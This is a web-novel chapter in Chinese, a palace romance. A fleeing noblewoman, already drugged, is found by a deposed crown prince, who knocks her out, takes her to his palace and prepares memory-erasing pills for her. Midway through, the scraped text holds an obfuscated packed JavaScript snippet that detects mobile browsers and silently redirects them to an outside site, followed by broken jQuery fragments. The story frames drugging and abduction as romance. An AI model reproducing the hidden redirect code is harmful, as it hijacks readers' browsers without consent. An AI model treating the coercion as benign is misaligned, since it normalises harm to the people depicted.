默认冷灰
24号文字
方正启体

26. 偶遇

作者:折梨子本书字数:K更新时间:
    阮灼音心中越焦急,脑子就越糊涂,她听了阮泱的话,掐住阮泱手臂的手逐渐松开了。


    阮泱感觉自己的血液在回流,便立刻直起身子,举起手中的如意,就朝阮灼音颈侧砸去。


    “咚”的一声闷响,玉如意坠地,阮灼音两眼一黑倒在了阮泱怀里。


    此时帐中安静的出奇,除男子微薄的呼吸声外,只有阮泱胸腔里的那颗心脏不断发出巨响。


    阮泱看着怀里的人,浑身瘫软了下来。


    大难临头她有些不知所措,若外头的人发现是她打晕皇后,又误会是她用合欢香魅惑君主,这定是死罪。


    此时明瓦窗外忽然印着一道黑影,阮泱抬头,见那影子徘徊不决,似乎想找机会进来。


    阮泱想探脑袋看清窗外人的模样,可不知道自己是怕成这样,还是因为路途奔波染了风寒所至,霎时间,她的脑袋涨得厉害,一丝诡异的眩晕感袭来。


    这种眩晕感很熟悉,症状几乎和那回在季家时一样。


    阮泱:“.......”


    明枪易躲暗箭难防,阮泱想起紫苏给她的那杯茶水,几乎又是要两眼一抹黑的程度。


    真是屋漏偏逢连夜雨,她下次再也不乱吃东西了!


    “吱呀——”


    此时朱门发出细响,随后又被悄然关上,紫苏蹑手蹑脚地进来,见屋子里出奇的安静便觉得奇怪,她四下张望,察觉前方帘幔微微晃动。


    她一怔,提裙加快了脚步。


    紫苏抓住纱幔,小心翼翼的将其掀开,可眼下之景却让她惊了又惊,事情根本没有朝她想的那样发展!


    榻上,皇后衣衫整齐地躺在皇帝身边,全然是一副安然入眠的状态,而原本应该在此处的阮泱却不知所踪。


    皇后曾事先叮嘱好她,若阮姑娘哭闹,她便偷偷在帘外点燃手里的东西,可眼下人都不在,这叫她怎生是好?


    .....


    半夜三更,一路上除了偶尔巡夜的宫人外,陪伴阮泱的只有冰冷的月光和晚风。


    她在紫苏推门而入前,便踩上后边儿的窗台一跃而下,这一跳虽是没被人发现,但墙角下的青苔和灌木丛倒把她刺的不轻。


    连昏昏沉沉的脑袋都清醒了好多。


    阮泱眼看大门是走不通了,她只好另辟蹊径走小路,见墙角下有一丝微光挤入,她扒拉开草丛,才发现那是只逼仄的狗洞。


    方才一片寂静的凤栖宫亮了不少灯,仔细听,还有窸窸窣窣的脚步声往这边来。


    阮泱咬唇不再犹豫,便趴下身体,往那满是泥泞的狗洞钻了出去。


    半夜在皇宫乱窜,这显然不是个明智之举,可若是被紫苏她们当场抓包,白的也能被她们说成黑的。


    阮泱觉着,这无用的名誉毁了,对她来说也不是什么大事,大不了就是没人敢娶她,可她明白,她只是阮家供起来的棋子,棋子不听话的下场,只能是被做掉!


    可她没活够,不想死。


    阮泱忍着腿上的伤痕,沿着小路一路发足狂奔,她明白,若想苟活下去找回记忆,日后绝不能待在凤栖宫了。


    可天下之大,哪里又有她的容身之所?


    茶水里的毒药让阮泱没跑多久就累的不行了,她扶着墙面,大口大口的呼吸,直到胃中翻江倒海,眼前的天地都旋转了起来,似乎下一秒就要倒地不醒了。


    这次逃跑,中途是遇见不少巡夜的禁卫军的,逃过一回容易,可要次次跑掉是不可能的,那些训练有质的禁卫军又不瞎。


    果然,下一秒,身后就传来一道呵斥。


    “什么人?是何人藏在里面!”


    禁卫军头领立在汉白玉阶梯上,见湖面上的乌篷船晃了一下,他便立刻领着手下赶了过去。


    桥边空空如也,迷离月色照在波光粼粼的湖面上,宛如一块银白色绸缎被这夜风惊扰了。


    那只孤零零的乌篷船又晃动了下,然后越飘越远。


    阮泱听着外面的声音,心跳顿时如鼓擂,她笔直地躺在里头大气不敢出。


    呜呜呜,这个架势,定是要完犊子的节奏,此番怕是凶多吉少。


    阮泱湿漉漉的眸子盯着棚顶,星光月色顺着竹条编织的棚顶缝撒下来,虽然有光,但用处不大,船里头还是黑不隆咚的。


    身下阴暗潮湿的甲板,时不时散发着霉味,可阮泱却在这种恶劣慌乱的环境下,隐约察觉到裸出的足踝处有团热乎乎的东西离她很近。


    是蛇么?


    阮泱擦掉眼泪,转念一想,蛇的身体是凉飕飕的才对,怕是有没人要的小野猫才会栖息在此处。


    毕竟,除了畜牲,她想不到会有别的活物待在这里。


    晕沉沉的感觉涌上脑海,阮泱整个人意识都开始朦胧起来,耳畔嗡鸣声又刺得她全身上下都疼。


    直到她不禁发出一丝痛苦的哼吟声。


    “什么人?再不现身,格杀勿论!”话刚落,禁卫军便抽出腰间的刀。


    阮泱正不知如何是好,脚底下的小畜牲忽然动了,还顷刻间就扑到了她怀里!


    那小畜生见她没了动静,便又亮出了尖牙,朝她的肩头用力咬了下。


    阮泱又是痛呼一声。


    畜生就是畜生,隔着衣服就能咬的这么疼!阮泱点着头,却迟钝的反应过来,方才足边儿的小畜牲忽然说了人话!


    “快继续鬼叫。”


    阮泱顿时瞪大了眼睛,看着面前这个戴:“什,什么?你是谁?”


    船里黑漆漆的,加上中了毒,且不说看不清这男人的容貌,甚至都要人畜不分了!


    宁羡不想过多解释,自皇帝下令发配他去边关,他这几日便常一人待在瑶津湖上。


    一人,一船,一壶酒,有时还美人在怀。


    自定国公败了,季家人杀的杀,流放的流放,宫里的这些人便知,东宫大势早已不复存在,也默认了宁羡被废是迟早的事,现如今颓废着呢。


    宁羡双手抵住少女的手腕,蹙眉说:“想活命就照我说的做。”


    见甲板上的少女懵懵的,宁羡懊恼极了。


    他干脆堵住阮泱的嘴巴将人敲晕,随后便一把掀开竹帘,冲外面的那群人勾着唇,懒洋洋说:“是孤。”


    乌篷船里的男人正半卧在船篷边,他今日不再着玄色衣袍,着的而是如初雪般干净的白衣。


    乍一看反削去了男人从前随身自带的戾气。


    他怀里的一绿衣少女正静静地依偎在他胸膛上,背对着众人,只露出修长白皙的颈脖,和一头微乱的云鬓,颇有一副犹抱琵琶半遮面的美。


    禁军见此场面也见怪不怪了,谁人不知从前那个跋扈嚣张的太子殿下,如今成了落水狗,颓废到每日醉酒后抱着各色宫人寻欢作乐。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013927|177072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁羡虽大势已去,但再怎么说太子的这个头衔还在,他们也不敢公然对抗。


    头领与手下相视一眼道:“属下有眼无珠,不知是殿下,属下们这就告退。”


    宁羡哼了声,凤眸轻剜了眼离开的人,随后放开阮泱,张开双臂在船篷里躺下。


    他盯着满是繁星的天空,听着水花拍打着船身,一股难以言说的酸麻感蔓延到胸口,半晌,他重新环住怀里的少女,轻轻拍打着她瘦弱可见骨的背脊。


    他不明白,他明明把所有的温柔和耐心,都给了这个与他没有丝毫血缘关系的女人,可换来的却是背叛。


    她害他差点死掉,害他差点成为一个人人唾弃的废人。


    宁羡抬起手,指腹不禁在阮泱的眉眼间,嘴唇上,脸庞边缓缓摩挲着。


    脸软软的,真的好可爱。


    这叫他怎么甘心这辈子都见不到她,让她在他看不见的地方,为别的男人生儿育女?


    他此番远去边关,正不知将阮泱如何办才好,这会儿怎就这么巧,自投罗网送上门来了呢?


    宁羡起身将人横抱起,弃舟登岸带着阮泱回了庆毓宫。


    月上中天,晚风卷起飘落在院中的梧桐叶,庆毓宫弃了一大半婢子和侍卫,现如今叫外人看来凄清极了。


    尤其是宁羡的贴身婢子和亲信,除从前服侍先皇后的兰荣嬷嬷外,都被皇帝换成了刚入宫的新人。


    兰荣才训完不听话的婢子,本想回屋歇下,却见宁羡回来了,手里还抱着一个姑娘。


    她一愣,没有想到宁羡会把人带回寝宫。


    兰荣上前:“殿下,这位是.....”


    宁羡不予理会,将人放在了床榻上。


    兰荣虽看不清少女的脸,但心中却有一个答案,她试探道:“殿下,奴婢方才回来的路上见凤栖宫灯火通明的,上前一打探,才晓得是她们家的阮二姑娘失踪了,现如今凤栖宫那边正找的焦头烂额呢。”


    “您带回来的,莫非就是....”


    宁羡没有否认,他只接着兰荣的话说:“我让你准备的药呢?”


    兰荣一愣道:“就在殿下书房里,但那郎中说了,这药丸吞下去,虽说会让人长时间失去记忆,可若一直服用,会折寿的。”


    宁羡有些不悦,甚至过于敏感的说:“你想说什么?难道你也要选择站在他们身边,背叛我?”


    兰荣跪下道:“奴婢不敢。”


    宁羡听罢,忽然抠起了字眼,他又气又委屈说:“是不敢,而不是不会,对吗?”


    兰荣摇头:"不,不是的殿下,您怎会这么想,我从小看着您长大,先皇后又对我有救命之恩,是绝不会有二心的。"


    “兰荣,我给过她机会,非要等她完全想起来,最后彻底抛弃我,你才高兴?”


    “去给我拿来。”


    “是.....”


    兰荣转身去了书房,将搁置在架子上的药瓶子拿了过来。


    宁羡道:“明日传旨的公公要来,对吧?”


    “是。”


    “想办法让皇后他们来这里,人越多越好,听见了么?”


    宁羡道:“我有些困倦了,既然如此,明日莫要叫醒我和泱泱,以免打扰我们的美梦。”


    兰荣听罢看了眼卧榻上的人,便不再打扰二人,将门窗合上后,带着新来的守夜宫人下去了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)